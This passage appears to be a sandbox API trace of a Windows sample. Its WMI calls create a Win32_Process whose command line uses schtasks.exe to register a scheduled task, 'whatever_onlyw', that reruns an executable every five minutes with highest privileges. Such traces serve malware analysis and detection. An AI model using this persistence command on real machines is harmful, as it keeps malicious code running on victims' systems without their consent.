riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1aa046c0) returned 0x0 [0127.350] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa046c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0127.350] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1aa046c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1aa0a410) returned 0x0 [0127.350] WbemDefPath:IUnknown:Release (This=0x1aa046c0) returned 0x0 [0127.350] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a410, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1aa0a410) returned 0x0 [0127.351] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a410, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0127.351] WbemDefPath:IUnknown:AddRef (This=0x1aa0a410) returned 0x3 [0127.351] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a410, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0127.351] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a410, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0127.351] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a410, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1a9d16c0) returned 0x0 [0127.351] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9d16c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.351] WbemDefPath:IUnknown:Release (This=0x1a9d16c0) returned 0x3 [0127.351] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0127.351] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0127.351] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a410, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0127.351] WbemDefPath:IUnknown:Release (This=0x1aa0a410) returned 0x2 [0127.351] WbemDefPath:IUnknown:Release (This=0x1aa0a410) returned 0x1 [0127.351] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0127.351] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0127.351] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a410, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1aa0a410) returned 0x0 [0127.351] WbemDefPath:IUnknown:AddRef (This=0x1aa0a410) returned 0x3 [0127.351] WbemDefPath:IUnknown:Release (This=0x1aa0a410) returned 0x2 [0127.351] WbemDefPath:IWbemPath:SetText (This=0x1aa0a410, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0127.352] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980c90, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0127.352] WbemDefPath:IWbemPath:GetText (in: This=0x1a980c90, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0127.352] WbemDefPath:IWbemPath:GetText (in: This=0x1a980c90, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.352] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0127.352] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0127.352] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0127.352] IUnknown:Release (This=0x1a943398) returned 0x1 [0127.354] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1aa0d2b0) returned 0x0 [0127.354] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0d2b0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0127.354] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1aa0d2b0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0a4d0) returned 0x0 [0127.354] WbemDefPath:IUnknown:Release (This=0x1aa0d2b0) returned 0x0 [0127.354] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a4d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0a4d0) returned 0x0 [0127.354] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a4d0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0127.354] WbemDefPath:IUnknown:AddRef (This=0x1aa0a4d0) returned 0x3 [0127.354] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a4d0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0127.354] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a4d0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0127.354] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a4d0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1aa0d2f0) returned 0x0 [0127.354] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1aa0d2f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.355] WbemDefPath:IUnknown:Release (This=0x1aa0d2f0) returned 0x3 [0127.355] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0127.355] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0127.355] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a4d0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0127.355] WbemDefPath:IUnknown:Release (This=0x1aa0a4d0) returned 0x2 [0127.355] WbemDefPath:IUnknown:Release (This=0x1aa0a4d0) returned 0x1 [0127.355] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0127.355] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0127.355] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a4d0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0a4d0) returned 0x0 [0127.355] WbemDefPath:IUnknown:AddRef (This=0x1aa0a4d0) returned 0x3 [0127.355] WbemDefPath:IUnknown:Release (This=0x1aa0a4d0) returned 0x2 [0127.355] WbemDefPath:IWbemPath:SetText (This=0x1aa0a4d0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0127.355] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a410, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0127.355] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a4d0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0127.355] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a4d0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0127.355] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a4d0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0127.355] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1aa0a410) returned 0x0 [0127.355] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a4d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0127.355] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0a4d0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0127.355] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0a4d0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0127.355] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0a410, uIndex=0x0, pszName="root") returned 0x0 [0127.355] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0a4d0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0127.355] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0a4d0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0127.355] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0a410, uIndex=0x1, pszName="cimv2") returned 0x0 [0127.355] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0a4d0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0127.355] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0a4d0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0127.355] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0a410, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0127.355] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0a410, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0127.356] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0a410, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0127.356] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980c90, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0127.356] WbemDefPath:IWbemPath:GetText (in: This=0x1a980c90, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0127.356] WbemDefPath:IWbemPath:GetText (in: This=0x1a980c90, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.356] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980c90, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0127.356] WbemDefPath:IWbemPath:GetText (in: This=0x1a980c90, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0127.356] WbemDefPath:IWbemPath:GetText (in: This=0x1a980c90, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.356] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a410, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0127.356] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a410, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0127.356] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a410, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0127.356] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a410, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0127.356] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a410, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0127.356] IWbemServices:GetObject (in: This=0x1a9e33d0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1aa12ad0, ppCallResult=0x0) returned 0x0 [0127.359] IWbemClassObject:GetMethod (in: This=0x1aa12ad0, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1aa13500, ppOutSignature=0x1bb7e690*=0x1aa13cd0) returned 0x0 [0127.360] IWbemClassObject:SpawnInstance (in: This=0x1aa13500, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1aa14040) returned 0x0 [0127.360] IWbemClassObject:Get (in: This=0x1aa14040, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27855e0*=0, plFlavor=0x27855e4*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27855e0*=8, plFlavor=0x27855e4*=32) returned 0x0 [0127.360] IWbemClassObject:Get (in: This=0x1aa14040, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27855e0*=8, plFlavor=0x27855e4*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27855e0*=8, plFlavor=0x27855e4*=32) returned 0x0 [0127.360] IWbemClassObject:Put (This=0x1aa14040, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"whatever_onlyw\" /sc MINUTE /mo 5 /tr \"'C:\\comproviderRuntimecommon\\whatever_only.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0127.360] IWbemClassObject:Get (in: This=0x1aa14040, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2785670*=0, plFlavor=0x2785674*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2785670*=13, plFlavor=0x2785674*=32) returned 0x0 [0127.361] IWbemClassObject:Get (in: This=0x1aa14040, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2785670*=13, plFlavor=0x2785674*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2785670*=13, plFlavor=0x2785674*=32) returned 0x0 [0127.361] IUnknown:QueryInterface (in: This=0x1aa01960, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1aa01960) returned 0x0 [0127.361] IUnknown:QueryInterface (in: This=0x1aa01960, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0127.361] IUnknown:QueryInterface (in: This=0x1aa01960, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0127.361] IUnknown:AddRef (This=0x1aa01960) returned 0x3 [0127.361] IUnknown:QueryInterface (in: This=0x1aa01960, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0127.361] IUnknown:QueryInterface (in: This=0x1aa01960, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0127.361] IUnknown:QueryInterface (in: This=0x1aa01960, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1aa01968) returned 0x0 [0127.361] IMarshal:GetUnmarshalClass (in: This=0x1aa01968, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0127.361] IUnknown:Release (This=0x1aa01968) returned 0x3 [0127.361] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0127.361] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0127.361] IUnknown:QueryInterface (in: This=0x1aa01960, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0127.362] IUnknown:Release (This=0x1aa01960) returned 0x2 [0127.362] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0127.362] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0127.362] IUnknown:QueryInterface (in: This=0x1aa01960, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0127.362] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0127.362] IUnknown:QueryInterface (in: This=0x1aa01960, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0127.362] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0127.362] IUnknown:AddRef (This=0x1aa01960) returned 0x3 [0127.362] IWbemClassObject:Put (This=0x1aa14040, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1aa01960, varVal2=0x0), Type=0) returned 0x0 [0127.362] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980d50, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0127.362] WbemDefPath:IWbemPath:GetText (in: This=0x1a980d50, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0127.362] WbemDefPath:IWbemPath:GetText (in: This=0x1a980d50, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0127.363] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980c90, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0127.363] WbemDefPath:IWbemPath:GetText (in: This=0x1a980c90, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0127.363] WbemDefPath:IWbemPath:GetText (in: This=0x1a980c90, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.363] WbemDefPath:IWbemPath:GetText (in: This=0x1a980d50, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0127.363] WbemDefPath:IWbemPath:GetText (in: This=0x1a980d50, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0127.363] IWbemServices:ExecMethod (in: This=0x1a9e33d0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, 